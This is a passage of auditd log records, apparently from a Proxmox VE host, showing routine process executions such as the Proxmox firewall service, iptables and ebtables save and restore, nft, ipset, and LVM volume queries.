{"@timestamp":1781964514655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.655:61331): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915827,"@rawstring":"node=pve type=PATH msg=audit(1781965915.827:67646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.655:61330): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915827,"@rawstring":"node=pve type=PATH msg=audit(1781965915.827:67646): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.655:61329): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915822,"@rawstring":"node=pve type=PATH msg=audit(1781965915.822:67645): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.641:61328): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915822,"@rawstring":"node=pve type=PATH msg=audit(1781965915.822:67645): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.641:61327): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=PATH msg=audit(1781965915.821:67644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.641:61326): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=PATH msg=audit(1781965915.821:67644): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.631:61325): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=PATH msg=audit(1781965915.821:67643): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.631:61324): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915817,"@rawstring":"node=pve type=PATH msg=audit(1781965915.817:67642): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964509.631:61323): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915817,"@rawstring":"node=pve type=PATH msg=audit(1781965915.817:67642): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.055:61322): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965915817,"@rawstring":"node=pve type=PATH msg=audit(1781965915.817:67642): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.052:61321): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965915809,"@rawstring":"node=pve type=PATH msg=audit(1781965915.809:67641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.051:61320): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915809,"@rawstring":"node=pve type=PATH msg=audit(1781965915.809:67641): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.051:61319): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915802,"@rawstring":"node=pve type=PATH msg=audit(1781965915.802:67640): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.047:61318): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915802,"@rawstring":"node=pve type=PATH msg=audit(1781965915.802:67640): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.041:61317): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915797,"@rawstring":"node=pve type=PATH msg=audit(1781965915.797:67639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.035:61316): proctitle=\"iptables-save\""} {"@timestamp":1781965915797,"@rawstring":"node=pve type=PATH msg=audit(1781965915.797:67639): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.029:61315): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915789,"@rawstring":"node=pve type=PATH msg=audit(1781965915.789:67638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.023:61314): proctitle=\"iptables-save\""} {"@timestamp":1781965915789,"@rawstring":"node=pve type=PATH msg=audit(1781965915.789:67638): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.020:61313): proctitle=\"ebtables-restore\""} {"@timestamp":1781965915779,"@rawstring":"node=pve type=PATH msg=audit(1781965915.779:67637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.018:61312): proctitle=\"ebtables-restore\""} {"@timestamp":1781965915779,"@rawstring":"node=pve type=PATH msg=audit(1781965915.779:67637): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506014,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.014:61311): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965915080,"@rawstring":"node=pve type=PATH msg=audit(1781965915.080:67636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.009:61310): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965915080,"@rawstring":"node=pve type=PATH msg=audit(1781965915.080:67636): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964506.004:61309): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965915048,"@rawstring":"node=pve type=PATH msg=audit(1781965915.048:67635): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.999:61308): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965915048,"@rawstring":"node=pve type=PATH msg=audit(1781965915.048:67635): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.994:61307): proctitle=697073657400726573746F7265"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PATH msg=audit(1781965914.747:67634): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.988:61306): proctitle=\"ip6tables-save\""} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PATH msg=audit(1781965914.747:67634): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505982,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.982:61305): proctitle=\"iptables-save\""} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PATH msg=audit(1781965914.747:67633): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.978:61304): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PATH msg=audit(1781965914.747:67632): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.976:61303): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PATH msg=audit(1781965914.740:67631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.974:61302): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PATH msg=audit(1781965914.740:67631): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.974:61301): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PATH msg=audit(1781965914.740:67630): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.971:61300): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PATH msg=audit(1781965914.740:67629): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.964:61299): proctitle=\"ip6tables-save\""} {"@timestamp":1781965242291,"@rawstring":"node=pve type=EXECVE msg=audit(1781965242.291:64771): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964505958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.958:61298): proctitle=\"iptables-save\""} {"@timestamp":1781965242285,"@rawstring":"node=pve type=EXECVE msg=audit(1781965242.285:64768): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964505954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.954:61297): proctitle=69707365740073617665"} {"@timestamp":1781965240299,"@rawstring":"node=pve type=EXECVE msg=audit(1781965240.299:64765): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964505948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.948:61296): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965240298,"@rawstring":"node=pve type=EXECVE msg=audit(1781965240.298:64764): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964505942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964505.942:61295): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965240297,"@rawstring":"node=pve type=EXECVE msg=audit(1781965240.297:64763): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964504924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.924:61294): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=EXECVE msg=audit(1781965237.279:64762): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964504899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.899:61293): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965237.272:64759): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.622:61292): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235669,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.669:64756): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.622:61291): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235665,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.665:64755): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.622:61290): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.664:64754): argc=1 a0=\"date\""} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.614:61289): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.658:64752): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.614:61288): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235652,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.652:64751): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964504.614:61287): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235646,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.646:64750): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.608:61286): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235640,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.640:64749): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.608:61285): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235632,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.632:64748): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.608:61284): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235626,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.626:64746): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.599:61283): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235622,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.622:64745): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.599:61282): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.613:64744): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964499.599:61281): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965235601,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.601:64743): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964495931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.931:61280): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965235597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.597:64742): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964495927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.927:61279): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965235588,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.588:64741): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964495926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.926:61278): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965235577,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.577:64740): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964495926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.926:61277): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965235559,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.559:64739): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964495923,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.923:61276): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965235546,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.546:64738): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964495917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.917:61275): proctitle=\"ip6tables-save\""} {"@timestamp":1781965235537,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.537:64737): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964495911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.911:61274): proctitle=\"iptables-save\""} {"@timestamp":1781965235534,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.534:64736): argc=1 a0=\"date\""} {"@timestamp":1781964495904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.904:61273): proctitle=\"ip6tables-save\""} {"@timestamp":1781965235525,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.525:64734): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964495897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.897:61272): proctitle=\"iptables-save\""} {"@timestamp":1781965235509,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.509:64733): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964495895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.895:61271): proctitle=\"ebtables-restore\""} {"@timestamp":1781965235503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.503:64732): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964495892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.892:61270): proctitle=\"ebtables-restore\""} {"@timestamp":1781965235495,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.495:64731): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964495888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.888:61269): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965235486,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.486:64730): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964495882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.882:61268): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965235479,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.479:64729): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964495877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.877:61267): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965235005,"@rawstring":"node=pve type=EXECVE msg=audit(1781965235.005:64728): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964495872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.872:61266): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965234984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965234.984:64727): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964495867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.867:61265): proctitle=697073657400726573746F7265"} {"@timestamp":1781965232262,"@rawstring":"node=pve type=EXECVE msg=audit(1781965232.262:64726): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964495860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.860:61264): proctitle=\"ip6tables-save\""} {"@timestamp":1781965232252,"@rawstring":"node=pve type=EXECVE msg=audit(1781965232.252:64723): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964495853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.853:61263): proctitle=\"iptables-save\""} {"@timestamp":1781965227244,"@rawstring":"node=pve type=EXECVE msg=audit(1781965227.244:64720): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964495849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.849:61262): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=EXECVE msg=audit(1781965227.235:64717): argc=4 a0=\"nft\" 